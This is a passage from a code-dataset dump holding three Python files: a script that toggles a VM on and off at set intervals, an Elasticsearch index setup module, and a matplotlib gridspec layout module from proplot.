"line_number": 415, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 415, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 419, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 419, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 425, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 425, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 433, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 433, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 443, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 443, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 454, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 454, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 462, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 462, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 474, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 474, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 475, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 475, "usage_type": "name"}, {"api_name": "numpy.random.seed", "line_number": 481, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 481, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 489, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 489, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 495, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 495, "usage_type": "attribute"}, {"api_name": "numpy.transpose", "line_number": 505, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 505, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 506, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 506, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 507, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 507, "usage_type": "name"}, {"api_name": "numpy.random.seed", "line_number": 512, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 512, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 520, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 520, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 526, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 526, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 527, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 527, "usage_type": "attribute"}, {"api_name": "numpy.transpose", "line_number": 533, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 533, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 539, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 539, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 540, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 540, "usage_type": "name"}]}
+{"seq_id": "632141375", "text": "#!/usr/bin/env python\n\"\"\"\nGiven a provider from cfme_data along with a vm_name,\nhow long you want the vm to run (uptime, in seconds),\nand how long you want the vm to be off (downtime, in seconds)\nthis script will toggle the vm on and off.\n\nExample usage:\n\nscripts/toggle_vm.py provider_name vm_name  uptime downtime\n\n\"\"\"\n\nimport argparse\nimport sys\nimport time\n\nfrom utils.providers import provider_factory\n\n\ndef main():\n    parser = argparse.ArgumentParser(epilog=__doc__,\n        formatter_class=argparse.RawDescriptionHelpFormatter)\n    parser.add_argument('provider_name',\n        help='provider name in cfme_data')\n    parser.add_argument('vm_name', help='the name of the VM on which to act')\n    parser.add_argument('uptime', type=int,\n        help='how long do you want the vm to be on (in seconds)')\n    parser.add_argument('downtime', type=int,\n        help='how long do you want the vm to be off (in seconds)')\n\n    args = parser.parse_args()\n\n    # Make sure the VM is off to start\n    provider = provider_factory(args.provider_name)\n\n    if provider.is_vm_running(args.vm_name):\n        provider.stop_vm(args.vm_name)\n        provider.vm_status(args.vm_name)\n\n    # Toggle the VM On and Off based on the Uptime and Downtime input arguments\n    # The script diconnects from the provider before each sleep and reconnects after\n    # each sleep to prevent it from timing out\n    while True:\n        try:\n            # Initialize start_success to False so it enters the first while loop\n            # and the times_failed_counter to 0\n            start_success = False\n            times_failed_counter = 0\n            # Turn the VM on for the specified amount of time\n            # If it can't find the VM, keep trying for 30 minutes\n            while not start_success:\n                try:\n                    provider.start_vm(args.vm_name)\n                    provider.vm_status(args.vm_name)\n                    start_success = True\n                    provider.disconnect()\n                    time.sleep(args.uptime)\n                    provider = provider_factory(args.provider_name)\n                except Exception:\n                    time.sleep(60)\n                    times_failed_counter += 1\n                    if(times_failed_counter == 30):\n                        raise\n\n            # Initialize stop_success to False so it enters the first while loop\n            # and the times_failed_counter to 0\n            stop_success = False\n            times_failed_counter = 0\n            # Turn the VM off for the specified amount of time\n            # If it can't find the VM, keep trying for 30 minutes\n            while not stop_success:\n                try:\n                    provider.stop_vm(args.vm_name)\n                    provider.vm_status(args.vm_name)\n                    stop_success = True\n                    provider.disconnect()\n                    time.sleep(args.downtime)\n                    provider = provider_factory(args.provider_name)\n                except Exception:\n                    time.sleep(60)\n                    times_failed_counter += 1\n                    if(times_failed_counter == 30):\n                        raise\n        except(KeyboardInterrupt):\n            return 0\n\n\nif __name__ == '__main__':\n    sys.exit(main())\n", "sub_path": "scripts/toggle_vm.py", "file_name": "toggle_vm.py", "file_ext": "py", "file_size_in_byte": 3286, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 22, "usage_type": "call"}, {"api_name": "argparse.RawDescriptionHelpFormatter", "line_number": 23, "usage_type": "attribute"}, {"api_name": "utils.providers.provider_factory", "line_number": 35, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 58, "usage_type": "call"}, {"api_name": "utils.providers.provider_factory", "line_number": 59, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 61, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 78, "usage_type": "call"}, {"api_name": "utils.providers.provider_factory", "line_number": 79, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 81, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 90, "usage_type": "call"}]}
+{"seq_id": "627558668", "text": "from elasticsearch import Elasticsearch\nfrom elasticsearch.exceptions import ConnectionError as ESConnectionError\nfrom urllib3.exceptions import NewConnectionError\nimport logging\nimport sys\n\n_logger = logging.getLogger(__name__)\n\n\nclass ElasticSearchMeta(type):\n    _instances = {}\n\n    def __call__(cls, *args, **kwargs):\n        if cls not in cls._instances:\n            cls._instances[cls] = super(\n                ElasticSearchMeta, cls).__call__(*args, **kwargs)\n        return cls._instances[cls]\n\n\nclass ElasticSearchConn(metaclass=ElasticSearchMeta):\n    __hostname__ = 'localhost'\n    __port__ = 9200\n    __es_conn__ = None\n    es_index_config = None\n\n    def __init__(self):\n        es_host = {'host': self.__hostname__, 'port': self.__port__}\n        self.__es_conn__ = Elasticsearch(hosts=[es_host])\n        self.set_up_index()\n\n    @staticmethod\n    def get_index_mapping():\n        return {\n            \"settings\": {\n                \"number_of_shards\": 5,\n                \"number_of_replicas\": 1,\n                \"analysis\": {\n                    \"filter\": {\n                        \"english_stop\": {\n                            \"type\": \"stop\",\n                            \"stopwords\": \"_english_\"\n                        },\n                        \"english_porter2\": {\n                            \"type\": \"stemmer\",\n                            \"language\": \"porter2\"\n                        }\n                    },\n                    \"analyzer\": {\n                        \"cust_analyzer\": {\n                            \"type\": \"custom\",\n                            \"tokenizer\": \"standard\",\n                            \"filter\": [\n                                \"lowercase\",\n                                \"english_stop\",\n                                \"english_porter2\"\n                            ]\n                        }\n                    }\n                },\n            },\n            \"mappings\": {\n                \"_doc\": {\n                    \"_meta\": {\n                        \"version\": 2\n                    },\n                    \"properties\": {\n                        \"Book\": {\n                            \"type\": \"long\"\n\n                        },\n                        \"Narrator\": {\n                            \"type\": \"text\",\n                            \"fields\": {\n                                \"keyword\": {\n                                    \"type\": \"keyword\",\n                                    \"ignore_above\": 256\n                                }\n                            }\n                        },\n                        \"Number\": {\n                            \"type\": \"long\"\n\n                        },\n                        \"Verse\": {\n                            \"type\": \"text\",\n                            \"analyzer\": \"cust_analyzer\",\n                            \"fields\": {\n                                \"keyword\": {\n                                    \"type\": \"keyword\",\n                                    \"ignore_above\": 256\n                                }\n                            }\n                        },\n                        \"Volume\": {\n                            \"type\": \"long\"\n\n                        }\n                    }\n                }\n            }\n        }\n\n    def create_index(self):\n        # ignore 400 cause by IndexAlreadyExistsException when creating an index\n        self.es_index_config = ElasticSearchConn.get_index_mapping()\n        res = self.__es_conn__.indices.create(\n            index='hadith', body=self.es_index_config, ignore=400)\n        if 'error' in res and res['status'] == 400:\n            # NOTE: Illegal argument errors are also being masked here, so test the index creation\n            error_type = res['error']['root_cause'][0]['type']\n            if error_type == 'resource_already_exists_exception':\n                _logger.debug(\"Index already exists\")\n            else:\n                _logger.error(\n                    \"Error Occurred in Index creation:{0}\".format(res))\n                print(\"\\n -- Unable to create Index:\" + error_type + \"--\\n\")\n                sys.exit(1)\n        elif res['acknowledged'] and res['index'] == \"hadith\":\n            _logger.debug(\"Index Created\")\n        else:\n            _logger.error(\"Index creation failed:{0}\".format(res))\n            print(\"\\n -- Unable to create Index--\\n\")\n            sys.exit(1)\n\n    def set_up_index(self):\n        try:\n            try:\n                try:\n                    index_exists = self.__es_conn__.indices.exists(\n                        index='hadith')\n                    if not index_exists:\n                        self.create_index()\n                    # else:\n                    #     res = self.__es_conn__.indices.get_mapping(index='hadith', doc_type='_doc')\n                    #     try:\n                    #         current_version = res['hadith']['mappings']['_doc']['_meta']['version']\n                    #         if current_version < __index_version__:\n                    #             self.update_index(current_version)\n                    #         elif current_version is None:\n                    #             _logger.error(\"Old Index Mapping. Manually reindex the index to persist your data.\")\n                    #             print(\"\\n -- Old Index Mapping. Manually reindex the index to persist your data.--\\n\")\n                    #             sys.exit(1)\n                    #     except KeyError:\n                    #         logger.error(\"Old Index Mapping. Manually reindex the index to persist your data.\")\n                    #         print(\"\\n -- Old Index Mapping. Manually reindex the index to persist your data.--\\n\")\n                    #         sys.exit(1)\n\n                except ESConnectionError as e:\n                    _logger.error(\n                        \"Elasitcsearch is not installed or its service is not running. {0}\".format(e))\n                    print(\n                        \"\\n -- Elasitcsearch is not installed or its service is not running.--\\n\", e)\n                    sys.exit(1)\n            except NewConnectionError:\n                pass\n        except ConnectionRefusedError:\n            pass\n\n\nif __name__ == \"__main__\":\n    es = ElasticSearchConn()\n", "sub_path": "qna/es_conn.py", "file_name": "es_conn.py", "file_ext": "py", "file_size_in_byte": 6230, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "logging.getLogger", "line_number": 7, "usage_type": "call"}, {"api_name": "elasticsearch.Elasticsearch", "line_number": 28, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 117, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 123, "usage_type": "call"}, {"api_name": "elasticsearch.exceptions.ConnectionError", "line_number": 148, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 153, "usage_type": "call"}, {"api_name": "urllib3.exceptions.NewConnectionError", "line_number": 154, "usage_type": "name"}]}
+{"seq_id": "101415749", "text": "#!/usr/bin/env python3\nimport numpy as np\nimport matplotlib.gridspec as mgridspec\nimport re\nfrom .rcmod import rc\nfrom .utils import _dot_dict, _fill, ic\n\n# Conversions\ndef _units(value, error=True):\n    # Flexible units!\n    # See: http://iamvdo.me/en/blog/css-font-metrics-line-height-and-vertical-align#lets-talk-about-font-size-first\n    if not isinstance(value, str):\n        return value # assume int/float is in inches\n    unit_dict = {\n        'em': rc['small']/72.0,\n        'ex': 0.5*rc['large']/72.0, # more or less; see URL\n        'lh': 1.2*rc['small']/72.0, # line height units (default spacing is 1.2 em squares)\n        'lem': rc['small']/72.0, # for large text\n        'lex': 0.5*rc['large']/72.0,\n        'llh': 1.2*rc['large']/72.0,\n        'cm': 0.3937,\n        'mm': 0.03937,\n        'pt': 1/72.0,\n        'in': 1.0, # already in inches\n        }\n    regex = re.match('^(.*)(' + '|'.join(unit_dict.keys()) + ')$', value)\n    if not regex:\n        if error:\n            raise ValueError(f'Invalid size spec {value}.')\n        else:\n            return value\n    num, unit = regex.groups()\n    try:\n        num = float(num)\n    except ValueError:\n        if error:\n            raise ValueError(f'Invalid size spec {value}.')\n        else:\n            return value\n    return num*unit_dict[unit] # e.g. cm / (in / cm)\n\n# Custom settings for various journals\n# Add to this throughout your career, or as standards change\n# PNAS info: http://www.pnas.org/page/authors/submission\n# AMS info: https://www.ametsoc.org/ams/index.cfm/publications/authors/journal-and-bams-authors/figure-information-for-authors/\n# AGU info: https://publications.agu.org/author-resource-center/figures-faq/\ndef journal_size(journal):\n    # Determine automatically\n    table = {\n        'pnas1': '8.7cm',\n        'pnas2': '11.4cm',\n        'pnas3': '17.8cm',\n        'ams1': 3.2,\n        'ams2': 4.5,\n        'ams3': 5.5,\n        'ams4': 6.5,\n        'agu1': ('95mm', '115mm'),\n        'agu2': ('190mm', '115mm'),\n        'agu3': ('95mm', '230mm'),\n        'agu4': ('190mm', '230mm'),\n        }\n    value = table.get(journal, None)\n    if value is None:\n        raise ValueError(f'Unknown journal figure size specifier \"{journal}\". ' +\n                          'Current options are: ' + ', '.join(table.keys()))\n    # Return width, and optionally also the height\n    width, height = None, None\n    try:\n        width, height = value\n    except TypeError:\n        width = value\n    return width, height\n\n# Function for processing input and generating necessary keyword args\ndef _gridspec_kwargs(nrows, ncols, rowmajor=True,\n    aspect=1,    figsize=None, # for controlling aspect ratio, default is control for width\n    width=None,  height=None, axwidth=None, axheight=None, journal=None,\n    hspace=None, wspace=None, hratios=None, wratios=None, # spacing between axes, in inches (hspace should be bigger, allowed room for title)\n    left=None,   bottom=None, right=None,   top=None,     # spaces around edge of main plotting area, in inches\n    bwidth=None, bspace=None, rwidth=None, rspace=None, lwidth=None, lspace=None, # default to no space between panels\n    bottompanel=False, bottompanels=False, # bottompanelrows=1, # optionally draw extra rows\n    rightpanel=False,  rightpanels=False,  # rightpanelcols=1,\n    leftpanel=False,   leftpanels=False,   # leftpanelcols=1,\n    bottomcolorbar=False, bottomcolorbars=False, bottomlegend=False, bottomlegends=False, # convenient aliases that change default features\n    rightcolorbar=False,  rightcolorbars=False,  rightlegend=False,  rightlegends=False,\n    leftcolorbar=False,   leftcolorbars=False,   leftlegend=False,   leftlegends=False\n    ):\n    # Handle the convenience feature for specifying the desired width/spacing\n    # for panels as that suitable for a colorbar or legend\n    # NOTE: Ugly but this is mostly boilerplate, shouln't change much\n    def _panelprops(panel, panels, colorbar, colorbars, legend, legends, width, space):\n        if colorbar or colorbars:\n            width = _fill(width, rc['gridspec.cbar'])\n            space = _fill(space, rc['gridspec.xlab'])\n            panel, panels = colorbar, colorbars\n        elif legend or legends:\n            width = _fill(width, rc['gridspec.legend'])\n            space = _fill(space, 0)\n            panel, panels = legend, legends\n        return panel, panels, width, space\n    rightpanel, rightpanels, rwidth, rspace, = _panelprops(\n        rightpanel, rightpanels, rightcolorbar, rightcolorbars,\n        rightlegend, rightlegends, rwidth, rspace)\n    leftpanel, leftpanels, lwidth, lspace = _panelprops(\n        leftpanel, leftpanels, leftcolorbar, leftcolorbars,\n        leftlegend, leftlegends, lwidth, lspace)\n    bottompanel, bottompanels, bwidth, bspace = _panelprops(\n        bottompanel, bottompanels, bottomcolorbar, bottomcolorbars,\n        bottomlegend, bottomlegends, bwidth, bspace)\n\n    # Handle the convenience feature for generating one panel per row/column\n    # and one single panel for all rows/columns\n    def _parse(panel, panels, nmax):\n        if panel: # one spanning panel\n            panels = [1]*nmax\n        elif panels not in (None,False): # can't test truthiness, want user to be allowed to pass numpy vector!\n            try:\n                panels = list(panels)\n            except TypeError:\n                panels = [*range(nmax)] # pass True to make panel for each column\n        return panels\n    bottompanels = _parse(bottompanel, bottompanels, ncols)\n    rightpanels  = _parse(rightpanel,  rightpanels,  nrows)\n    leftpanels   = _parse(leftpanel,   leftpanels,   nrows)\n\n    # Apply the general defaults\n    # Need to do this after number of rows/columns figured out\n    wratios = np.atleast_1d(_fill(wratios, 1))\n    hratios = np.atleast_1d(_fill(hratios, 1))\n    hspace = np.atleast_1d(_fill(hspace, rc['gridspec.title']))\n    wspace = np.atleast_1d(_fill(wspace, rc['gridspec.inner']))\n    if len(wratios)==1:\n        wratios = np.repeat(wratios, (ncols,))\n    if len(hratios)==1:\n        hratios = np.repeat(hratios, (nrows,))\n    if len(wspace)==1:\n        wspace = np.repeat(wspace, (ncols-1,))\n    if len(hspace)==1:\n        hspace = np.repeat(hspace, (nrows-1,))\n    left   = _units(_fill(left,   rc['gridspec.ylab']))\n    bottom = _units(_fill(bottom, rc['gridspec.xlab']))\n    right  = _units(_fill(right,  rc['gridspec.nolab']))\n    top    = _units(_fill(top,    rc['gridspec.title']))\n    bwidth = _units(_fill(bwidth, rc['gridspec.cbar']))\n    rwidth = _units(_fill(rwidth, rc['gridspec.cbar']))\n    lwidth = _units(_fill(lwidth, rc['gridspec.cbar']))\n    bspace = _units(_fill(bspace, rc['gridspec.xlab']))\n    rspace = _units(_fill(rspace, rc['gridspec.ylab']))\n    lspace = _units(_fill(lspace, rc['gridspec.ylab']))\n\n    # Determine figure size\n    if journal:\n        if width or height or axwidth or axheight or figsize:\n            raise ValueError('Argument conflict: Specify only a journal size, or the figure dimensions, not both.')\n        width, height = journal_size(journal) # if user passed width=, will use that journal size\n    if not figsize:\n        figsize = (width, height)\n    width, height = figsize\n    width  = _units(width, error=False)\n    height = _units(height, error=False)\n\n    # If width and height are not fixed, determine necessary width/height to\n    # preserve the aspect ratio of specified plot\n    auto_both = (width is None and height is None)\n    auto_width  = (width is None and height is not None)\n    auto_height = (height is None and width is not None)\n    auto_neither = (width is not None and height is not None)\n    bpanel_space = bwidth + bspace if bottompanels else 0\n    rpanel_space = rwidth + rspace if rightpanels else 0\n    lpanel_space = lwidth + lspace if leftpanels else 0\n    try:\n        aspect = aspect[0]/aspect[1]\n    except (IndexError,TypeError):\n        pass # do nothing\n    aspect_fixed = aspect/(wratios[0]/np.mean(wratios)) # e.g. if 2 columns, 5:1 width ratio, change the 'average' aspect ratio\n    aspect_fixed = aspect*(hratios[0]/np.mean(hratios))\n    # Determine average axes widths/heights\n    # Default behavior: axes average 2.0 inches wide\n    if auto_width or auto_neither:\n        axheight_ave = (height - top - bottom - sum(hspace) - bpanel_space)/nrows\n    if auto_height or auto_neither:\n        axwidth_ave = (width - left - right - sum(wspace) - rpanel_space - lpanel_space)/ncols\n    if auto_both: # get stuff directly from axes\n        if axwidth is None and axheight is None:\n            axwidth = 2.0\n        if axheight is not None:\n            height = axheight*nrows + top + bottom + sum(hspace) + bpanel_space\n            auto_width = True\n            axheight_ave = axheight\n        if axwidth is not None:\n            width = axwidth*ncols + left + right + sum(wspace) + rpanel_space + lpanel_space\n            auto_height = True\n            axwidth_ave = axwidth\n        if axwidth is not None and axheight is not None:\n            auto_width = auto_height = False\n        figsize = (width, height) # again\n    # Fix height and top-left axes aspect ratio\n    if auto_width:\n        axwidth_ave = axheight_ave*aspect_fixed\n        width       = axwidth_ave*ncols + left + right + sum(wspace) + rpanel_space + lpanel_space\n    # Fix width and top-left axes aspect ratio\n    if auto_height:\n        axheight_ave = axwidth_ave/aspect_fixed\n        height       = axheight_ave*nrows + top + bottom + sum(hspace) + bpanel_space\n    # Check\n    if axwidth_ave<0:\n        raise ValueError(f\"Not enough room for axes (would have width {axwidth_ave}). Increase width, or reduce spacings 'left', 'right', or 'wspace'.\")\n    if axheight_ave<0:\n        raise ValueError(f\"Not enough room for axes (would have height {axheight_ave}). Increase height, or reduce spacings 'top', 'bottom', or 'hspace'.\")\n\n    # Necessary arguments to reconstruct this grid\n    # Can follow some of the pre-processing\n    subplots_kw = _dot_dict(nrows=nrows, ncols=ncols,\n        figsize=figsize, aspect=aspect,\n        hspace=hspace, wspace=wspace,\n        hratios=hratios, wratios=wratios,\n        bottompanels=bottompanels, leftpanels=leftpanels, rightpanels=rightpanels,\n        left=left,     bottom=bottom, right=right,   top=top,\n        bwidth=bwidth, bspace=bspace, rwidth=rwidth, rspace=rspace, lwidth=lwidth, lspace=lspace,\n        )\n\n    # Make sure the 'ratios' and 'spaces' are in physical units (we cast the\n    # former to physical units), easier then to add stuff as below\n    wspace = wspace.tolist()\n    hspace = hspace.tolist()\n    wratios = (ncols*axwidth_ave*(wratios/sum(wratios))).tolist()\n    hratios = (nrows*axheight_ave*(hratios/sum(hratios))).tolist()\n\n    # Now add the outer panel considerations (idea is we have panels whose\n    # widths/heights are *in inches*, and only allow the main subplots and\n    # figure widhts/heights to warp to preserve aspect ratio)\n    nrows += int(bool(bottompanels))\n    ncols += int(bool(rightpanels)) + int(bool(leftpanels))\n    if bottompanels: # the 'bottom' space actually goes between subplots and panel\n        hratios = hratios + [bwidth] # easy\n        hspace  = hspace + [bottom]\n        bottom  = bspace\n    if leftpanels:\n        wratios = [lwidth] + wratios\n        wspace  = [left] + wspace\n        left    = lspace\n    if rightpanels:\n        wratios = wratios + [rwidth]\n        wspace  = wspace + [right]\n        right   = rspace\n    # Scale stuff that gridspec needs to be scaled\n    # Scale the boundaries for gridspec\n    # NOTE: We *no longer* scale wspace/hspace because we expect it to\n    # be in same scale as axes ratios, much easier that way and no drawback really\n    bottom = bottom/height\n    left   = left/width\n    top    = 1-top/height\n    right  = 1-right/width\n\n    # Create gridspec for outer plotting regions (divides 'main area' from side panels)\n    offset = (0, 1 if leftpanels else 0)\n    figsize = (width, height)\n    gridspec_kw = dict(\n            nrows         = nrows,\n            ncols         = ncols,\n            left          = left,\n            bottom        = bottom,\n            right         = right, # unique spacing considerations\n            top           = top, # so far no panels allowed here\n            wspace        = wspace,\n            hspace        = hspace,\n            width_ratios  = wratios,\n            height_ratios = hratios,\n            ) # set wspace/hspace to match the top/bottom spaces\n    return figsize, offset, subplots_kw, gridspec_kw\n\n# Generate custom GridSpec classes that override the GridSpecBase\n# __setitem__ method and the 'base' __init__ method\ndef flexible_gridspec_factory(base):\n    class _GridSpec(base):\n        \"\"\"\n        Generalization of builtin matplotlib GridSpec that allows for\n        subplots with *arbitrary spacing*. Accomplishes this by designating certain\n        rows and columns as *empty*.\n\n        Further accepts all spacing arguments in *inches*.\n\n        This allows for user-specified extra spacing, and for automatic adjustment\n        of spacing depending on whether labels or ticklabels are overlapping. Will\n        be added to figure class as auto_adjust() method or something.\n        \"\"\"\n        def __init__(self, nrows, ncols, **kwargs):\n            # Add these as attributes; want _spaces_as_ratios to be\n            # self-contained, so it can be invoked on already instantiated\n            # gridspec (see 'update')\n            self._nrows_visible = nrows\n            self._ncols_visible = ncols\n            self._nrows = nrows*2-1\n            self._ncols = ncols*2-1\n            wratios, hratios, kwargs = self._spaces_as_ratios(**kwargs)\n            return super().__init__(self._nrows, self._ncols,\n                    hspace=0, wspace=0, # we implement these as invisible rows/columns\n                    width_ratios=wratios,\n                    height_ratios=hratios,\n                    **kwargs,\n                    )\n\n        def __getitem__(self, key):\n            # Magic obfuscation that renders rows and columns designated as\n            # 'spaces' invisible. Note: key is tuple if multiple indices requested.\n            def _normalize(key, size):\n                if isinstance(key, slice):\n                    start, stop, _ = key.indices(size)\n                    if stop > start:\n                        return start, stop - 1\n                else:\n                    if key < 0:\n                        key += size\n                    if 0 <= key < size:\n                        return key, key\n                raise IndexError(f\"Invalid index: {key} with size {size}.\")\n            # SubplotSpec initialization figures out the row/column\n            # geometry of these two numbers automatically\n            nrows, ncols = self._nrows, self._ncols\n            nrows_visible, ncols_visible = self._nrows_visible, self._ncols_visible\n            if isinstance(key, tuple):\n                try:\n                    k1, k2 = key\n                except ValueError:\n                    raise ValueError('Unrecognized subplot spec \"{key}\".')\n                num1, num2 = np.ravel_multi_index(\n                    [_normalize(k1, nrows_visible), _normalize(k2, ncols_visible)],\n                    (nrows, ncols),\n                    )\n            else:\n                num1, num2 = _normalize(key, nrows_visible * ncols_visible)\n            # When you move to a new column that skips a 'hspace' and when you\n            # move to a new row that skips a 'wspace' -- so, just multiply\n            # the scalar indices by 2!\n            def _adjust(n):\n                if n<0:\n                    return 2*(n+1) - 1 # want -1 to stay -1, -2 becomes -3, etc.\n                else:\n                    return n*2\n            num1, num2 = _adjust(num1), _adjust(num2)\n            return mgridspec.SubplotSpec(self, num1, num2)\n\n        def _spaces_as_ratios(self,\n                hspace=None, wspace=None, # spacing between axes\n                hratios=None, wratios=None,\n                height_ratios=None, width_ratios=None,\n                **kwargs):\n            # Parse flexible input\n            nrows = self._nrows_visible\n            ncols = self._ncols_visible\n            hratios = _fill(height_ratios, hratios)\n            wratios = _fill(width_ratios,  wratios)\n            hratios = np.atleast_1d(_fill(hratios, 1))\n            wratios = np.atleast_1d(_fill(wratios, 1))\n            hspace = np.atleast_1d(_fill(hspace, np.mean(hratios)*0.10)) # this is relative to axes\n            wspace = np.atleast_1d(_fill(wspace, np.mean(wratios)*0.10))\n            if len(wspace)==1:\n                wspace = np.repeat(wspace, (ncols-1,)) # note: may be length 0\n            if len(hspace)==1:\n                hspace = np.repeat(hspace, (nrows-1,))\n            if len(wratios)==1:\n                wratios = np.repeat(wratios, (ncols,))\n            if len(hratios)==1:\n                hratios = np.repeat(hratios, (nrows,))\n\n            # Verify input ratios and spacings\n            # Translate height/width spacings, implement as extra columns/rows\n            if len(hratios) != nrows:\n                raise ValueError(f'Got {nrows} rows, but {len(hratios)} hratios.')\n            if len(wratios) != ncols:\n                raise ValueError(f'Got {ncols} columns, but {len(wratios)} wratios.')\n            if ncols>1 and len(wspace) != ncols-1:\n                raise ValueError(f'Require {ncols-1} width spacings for {ncols} columns, got {len(wspace)}.')\n            if nrows>1 and len(hspace) != nrows-1:\n                raise ValueError(f'Require {nrows-1} height spacings for {nrows} rows, got {len(hspace)}.')\n\n            # Assign spacing as ratios\n            wratios_final = [None]*self._ncols\n            wratios_final[::2] = list(wratios)\n            if self._ncols>1:\n                wratios_final[1::2] = list(wspace)\n            hratios_final = [None]*self._nrows\n            hratios_final[::2] = list(hratios)\n            if self._nrows>1:\n                hratios_final[1::2] = list(hspace)\n            return wratios_final, hratios_final, kwargs # bring extra kwargs back\n\n        def update(self, **gridspec_kw):\n            # Handle special hspace/wspace arguments, and just set the simple\n            # left/right/top/bottom attributes\n            wratios, hratios, edges_kw = self._spaces_as_ratios(**gridspec_kw)\n            edges_kw = {key:value for key,value in edges_kw.items()\n                if key not in ('nrows','ncols')} # cannot be modified\n            self.set_width_ratios(wratios)\n            self.set_height_ratios(hratios)\n            super().update(**edges_kw) # remaining kwargs should just be left/right/top/bottom\n\n    return _GridSpec\n\n# Make classes\nFlexibleGridSpec = flexible_gridspec_factory(mgridspec.GridSpec)\nFlexibleGridSpec.__name__ = 'FlexibleGridSpec'\nFlexibleGridSpecFromSubplotSpec = flexible_gridspec_factory(mgridspec.GridSpecFromSubplotSpec)\nFlexibleGridSpecFromSubplotSpec.__name__ = 'FlexibleGridSpecFromSubplotSpec'\n\n", "sub_path": "proplot/gridspec.py", "file_name": "gridspec.py", "file_ext": "py", "file_size_in_byte": 19018, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "rcmod.rc", "line_number": 15, "usage_type": "name"}, {"api_name": "rcmod.rc", "line_number": 16, "usage_type": "name"}, {"api_name": "rcmod.rc", "line_number": 17, "usage_type": "name"}, {"api_name": "rcmod.rc", "line_number": 18, "usage_type": "name"}, {"api_name": "rcmod.rc", "line_number": 19, "usage_type": "name"}, {"api_name": "rcmod.rc", "line_number": 20, "usage_type": "name"}, {"api_name": "re.match", "line_number": 26, "usage_type": "call"}, {"api_name": "utils._fill", "line_number": 93, "usage_type": "call"}, {"api_name": "rcmod.rc", "line_number": 93, "usage_type": "name"}, {"api_name": "utils._fill", "line_number": 94, "usage_type": "call"}, {"api_name": "rcmod.rc", "line_number": 94, "usage_type": "name"}, {"api_name": "utils._fill", "line_number": 97, "usage_type": "call"}, {"api_name": "rcmod.rc", "line_number": 97, "usage_type": "name"}, {"api_name": "utils._fill", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.atleast_1d", "line_number": 128, "usage_type": "call"}, {"api_name": "utils._fill", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.atleast_1d", "line_number": 129, "usage_type": "call"}, {"api_name": "utils._fill", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.atleast_1d", "line_number": 130, "usage_type": "call"}, {"api_name": "utils._fill", "line_number": 130, "usage_type": "call"}, {"api_name": "rcmod.rc", "line_number": 130, "usage_type": "name"}, {"api_name": "numpy.atleast_1d", "line_number": 131, "usage_type": "call"}, {"api_name": "utils._fill", "line_number": 131, "usage_type": "call"}, {"api_name": "rcmod.rc", "line_number": 131, "usage_type": "name"}, {"api_name": "numpy.repeat", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.repeat", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.repeat", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.repeat", "line_number": 139, "usage_type": "call"}, {"api_name": "utils._fill", "line_number": 140, "usage_type": "call"}, {"api_name": "rcmod.rc", "line_number": 140, "usage_type": "name"}, {"api_name": "utils._fill", "line_number": 141, "usage_type": "call"}, {"api_name": "rcmod.rc", "line_number": 141, "usage_type": "name"}, {"api_name": "utils._fill", "line_number": 142, "usage_type": "call"}, {"api_name": "rcmod.rc", "line_number": 142, "usage_type": 